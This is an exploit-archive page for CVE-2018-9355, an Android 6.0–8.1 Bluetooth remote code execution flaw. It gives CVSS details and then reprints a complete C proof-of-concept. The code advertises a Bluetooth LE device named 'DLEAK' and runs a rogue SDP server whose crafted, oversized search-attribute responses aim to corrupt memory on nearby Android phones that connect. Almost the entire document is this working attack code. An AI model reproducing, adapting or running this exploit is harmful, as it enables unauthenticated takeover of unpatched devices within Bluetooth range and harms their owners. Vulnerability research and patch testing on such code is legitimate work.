Android 6.0-8.1 Bluetooth Remote Code Execution PoC
CVE
Category
Price
Severity
CVE-2018-9355
CWE-XXX
Not specified
High
Author
Risk
Exploitation Type
Date
Not specified
High
Remote
2018-06-06
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Adjacent AV The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018060062 Below is a copy:
Android 6.0-8.1 Bluetooth Remote Code Execution PoC /*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/** CVE-2018-9355
* https://source.android.com/security/bulletin/2018-06-01
*/
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <pthread.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/sdp.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#define EIR_FLAGS 0x01 /* flags */
#define EIR_NAME_COMPLETE 0x09 /* complete local name */
#define EIR_LIM_DISC 0x01 /* LE Limited Discoverable Mode */
#define EIR_GEN_DISC 0x02 /* LE General Discoverable Mode */
#define DATA_ELE_SEQ_DESC_TYPE 6
#define UINT_DESC_TYPE 1
#define SIZE_SIXTEEN_BYTES 4
#define SIZE_EIGHT_BYTES 3
#define SIZE_FOUR_BYTES 2
#define SIZE_TWO_BYTES 1
#define SIZE_ONE_BYTE 0
#define SIZE_IN_NEXT_WORD 6
#define TWO_COMP_INT_DESC_TYPE 2
#define UUID_DESC_TYPE 3
#define ATTR_ID_SERVICE_ID 0x0003
static int count = 0;
static int do_continuation;
static int init_server(uint16_t mtu)
{
struct l2cap_options opts;
struct sockaddr_l2 l2addr;
socklen_t optlen;
int l2cap_sock;
/* Create L2CAP socket */
l2cap_sock = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if (l2cap_sock < 0) {
printf("opening L2CAP socket: %s", strerror(errno));
return -1;
}
memset(&l2addr, 0, sizeof(l2addr));
l2addr.l2_family = AF_BLUETOOTH;
bacpy(&l2addr.l2_bdaddr, BDADDR_ANY);
l2addr.l2_psm = htobs(SDP_PSM);
if (bind(l2cap_sock, (struct sockaddr *) &l2addr, sizeof(l2addr)) < 0) {
printf("binding L2CAP socket: %s", strerror(errno));
return -1;
}
int opt = L2CAP_LM_MASTER;
if (setsockopt(l2cap_sock, SOL_L2CAP, L2CAP_LM, &opt, sizeof(opt)) < 0) {
printf("setsockopt: %s", strerror(errno));
return -1;
}
memset(&opts, 0, sizeof(opts));
optlen = sizeof(opts);
if (getsockopt(l2cap_sock, SOL_L2CAP, L2CAP_OPTIONS, &opts, &optlen) < 0) {
printf("getsockopt: %s", strerror(errno));
return -1;
}
opts.omtu = mtu;
opts.imtu = mtu;
if (setsockopt(l2cap_sock, SOL_L2CAP, L2CAP_OPTIONS, &opts, sizeof(opts)) < 0) {
printf("setsockopt: %s", strerror(errno));
return -1;
}
if (listen(l2cap_sock, 5) < 0) {
printf("listen: %s", strerror(errno));
return -1;
}
return l2cap_sock;
}
static int process_service_search_req(uint8_t *pkt)
{
uint8_t *start = pkt;
uint8_t *lenloc = pkt;
/* Total Handles */
bt_put_be16(400, pkt); pkt += 2;
bt_put_be16(400, pkt); pkt += 2;
/* and that's it! */
/* TODO: Can we do some heap grooming to make sure we don't get a continuation? */
//bt_put_be16((pkt - start) - 2, lenloc);
return pkt - start;
}
static uint8_t *place_uid(uint8_t *pkt, int o)
{
int i;
for (i = 0; i < 16; i++)
*pkt++ = 0x16 + (i + o);
return pkt;
}
static size_t flood_u128s(uint8_t *pkt)
{
int i;
uint8_t *start = pkt;
uint8_t *lenloc = pkt;
size_t retsize = 0;
bt_put_be16(9, pkt);pkt += 2;
if (do_continuation == 1) {
*pkt = DATA_ELE_SEQ_DESC_TYPE << 3;
*pkt |= SIZE_IN_NEXT_WORD;
pkt++;
start = pkt;
pkt += 2;
}
//*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
//pkt++;
for (i = 0; i < 31; i++) {
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;
*pkt = (UINT_DESC_TYPE << 3) | SIZE_TWO_BYTES;;
pkt++;
/* Attr ID */
bt_put_be16(ATTR_ID_SERVICE_ID, pkt); pkt += 2;
*pkt = (UUID_DESC_TYPE << 3) | SIZE_SIXTEEN_BYTES;
pkt++;
pkt = place_uid(pkt, i);
}
/* Set the continuation */
if (do_continuation) {
bt_put_be16(654, lenloc);
bt_put_be16(651 * 2, start);
*pkt = 1;
retsize = 658;
}
else {
bt_put_be16(651, lenloc);
//bt_put_be16(648, start);
*pkt = 0;
retsize = 654;
}
//bt_put_be16((pkt - lenloc) + 10, lenloc);
//bt_put_be16((pkt - start) + 10, start);
printf("%s: size is pkt - lenloc %zu and pkt is 0x%02x\n", __func__, pkt - lenloc, *pkt);
pkt++;
return retsize;
}
static size_t do_fake_svcsar(uint8_t *pkt)
{
int i;
uint8_t *start = pkt;
uint8_t *lenloc = pkt;
/* Id and length -- ignored in the code */
//bt_put_be16(0, pkt);pkt += 2;
//bt_put_be16(0xABCD, pkt);pkt += 2;
/* list byte count */
bt_put_be16(9, pkt);pkt += 2;
*pkt = DATA_ELE_SEQ_DESC_TYPE << 3;
*pkt |= SIZE_EIGHT_BYTES;
pkt++;
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;
*pkt = (UINT_DESC_TYPE << 3) | SIZE_TWO_BYTES;;
pkt++;
/* Attr ID */
bt_put_be16(0x0100, pkt); pkt += 2;
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;
/* Set the continuation */
if (do_continuation)
*pkt = 1;
else
*pkt = 1;
pkt++;
/* Place the size... */
//bt_put_be16((pkt - start) - 2, lenloc);
printf("%zu\n", pkt-start);
return (size_t) (pkt - start);
}
static void process_request(uint8_t *buf, int fd)
{
sdp_pdu_hdr_t *reqhdr = (sdp_pdu_hdr_t *) buf;
sdp_pdu_hdr_t *rsphdr;
uint8_t *rsp = malloc(65535);
int status = SDP_INVALID_SYNTAX;
int send_size = 0;
memset(rsp, 0, 65535);
rsphdr = (sdp_pdu_hdr_t *)rsp;
rsphdr->tid = reqhdr->tid;
switch (reqhdr->pdu_id) {
case SDP_SVC_SEARCH_REQ:
printf("Got a svc srch req\n");
send_size = process_service_search_req(rsp + sizeof(sdp_pdu_hdr_t));
rsphdr->pdu_id = SDP_SVC_SEARCH_RSP;
rsphdr->plen = htons(send_size);
break;
case SDP_SVC_ATTR_REQ:
printf("Got a svc attr req\n");
//status = service_attr_req(req, &rsp);
rsphdr->pdu_id = SDP_SVC_ATTR_RSP;
break;
case SDP_SVC_SEARCH_ATTR_REQ:
printf("Got a svc srch attr req\n");
//status = service_search_attr_req(req, &rsp);
rsphdr->pdu_id = SDP_SVC_SEARCH_ATTR_RSP;
send_size = flood_u128s(rsp + sizeof(sdp_pdu_hdr_t));
//do_fake_svcsar(rsp + sizeof(sdp_pdu_hdr_t)) + 3;
rsphdr->plen = htons(send_size);
break;
default:
printf("Unknown PDU ID : 0x%x received", reqhdr->pdu_id);
status = SDP_INVALID_SYNTAX;
break;
}
printf("%s: sending %zu\n", __func__, send_size + sizeof(sdp_pdu_hdr_t));
send(fd, rsp, send_size + sizeof(sdp_pdu_hdr_t), 0);
free(rsp);
}
static void *l2cap_data_thread(void *input)
{
int fd = *(int *)input;
sdp_pdu_hdr_t hdr;
uint8_t *buf;
int len, size;
while (true) {
len = recv(fd, &hdr, sizeof(sdp_pdu_hdr_t), MSG_PEEK);
if (len < 0 || (unsigned int) len < sizeof(sdp_pdu_hdr_t)) {
continue;
}
size = sizeof(sdp_pdu_hdr_t) + ntohs(hdr.plen);
buf = malloc(size);
if (!buf)
continue;
printf("%s: trying to recv %d\n", __func__, size);
len = recv(fd, buf, size, 0);
if (len <= 0) {
free(buf);
continue;
}
if (!count) {
process_request(buf, fd);
count ++;
}
if (count >= 1) {
do_continuation = 0;
process_request(buf, fd);
count++;
}
free(buf);
}
}
/* derived from hciconfig.c */
static void *advertiser(void *unused)
{
uint8_t status;
int device_id, handle;
struct hci_request req = { 0 };
le_set_advertise_enable_cp acp = { 0 };
le_set_advertising_parameters_cp avc = { 0 };
le_set_advertising_data_cp data = { 0 };
device_id = hci_get_route(NULL);
if (device_id < 0) {
printf("%s: Failed to get route: %s\n", __func__, strerror(errno));
return NULL;
}
handle = hci_open_dev(hci_get_route(NULL));
if (handle < 0) {
printf("%s: Failed to open and aquire handle: %s\n", __func__, strerror(errno));
return NULL;
}
avc.min_interval = avc.max_interval = htobs(150);
avc.chan_map = 7;
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISING_PARAMETERS;
req.cparam = &avc;
req.clen = LE_SET_ADVERTISING_PARAMETERS_CP_SIZE;
req.rparam = &status;
req.rlen = 1;
if (hci_send_req(handle, &req, 1000) < 0) {
hci_close_dev(handle);
printf("%s: Failed to send request %s\n", __func__, strerror(errno));
return NULL;
}
memset(&req, 0, sizeof(req));
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISE_ENABLE;
req.cparam = &acp;
req.clen = LE_SET_ADVERTISE_ENABLE_CP_SIZE;
req.rparam = &status;
req.rlen = 1;
data.data[0] = htobs(2);
data.data[1] = htobs(EIR_FLAGS);
data.data[2] = htobs(EIR_GEN_DISC | EIR_LIM_DISC);
data.data[3] = htobs(6);
data.data[4] = htobs(EIR_NAME_COMPLETE);
data.data[5] = 'D';
data.data[6] = 'L';
data.data[7] = 'E';
data.data[8] = 'A';
data.data[9] = 'K';
data.length = 10;
memset(&req, 0, sizeof(req));
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISING_DATA;
req.cparam = &data;
req.clen = LE_SET_ADVERTISING_DATA_CP_SIZE;
req.rparam = &status;
req.rlen = 1;
if (hci_send_req(handle, &req, 1000) < 0) {
hci_close_dev(handle);
printf("%s: Failed to send request %s\n", __func__, strerror(errno));
return NULL;
}
printf("Device should be advertising under DLEAK\n");
}
int main(int argc, char **argv)
{
pthread_t *io_channel;
pthread_t adv;
int fds[16];
const int io_chans = 16;
struct sockaddr_l2 addr;
socklen_t qlen = sizeof(addr);
socklen_t len = sizeof(addr);
int l2cap_sock;
int i;
pthread_create(&adv, NULL, advertiser, NULL);
l2cap_sock = init_server(652);
if (l2cap_sock < 0)
return EXIT_FAILURE;
io_channel = malloc(io_chans * sizeof(*io_channel));
if (!io_channel)
return EXIT_FAILURE;
do_continuation = 1;
for (i = 0; i < io_chans; i++) {
printf("%s: Going to accept on io chan %d\n", __func__, i);
fds[i] = accept(l2cap_sock, (struct sockaddr *) &addr, &len);
if (fds[i] < 0) {
i--;
printf("%s: Accept failed with %s\n", __func__, strerror(errno));
continue;
}
printf("%s: accepted\n", __func__);
pthread_create(&io_channel[i], NULL, l2cap_data_thread, &fds[i]);
}
}
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum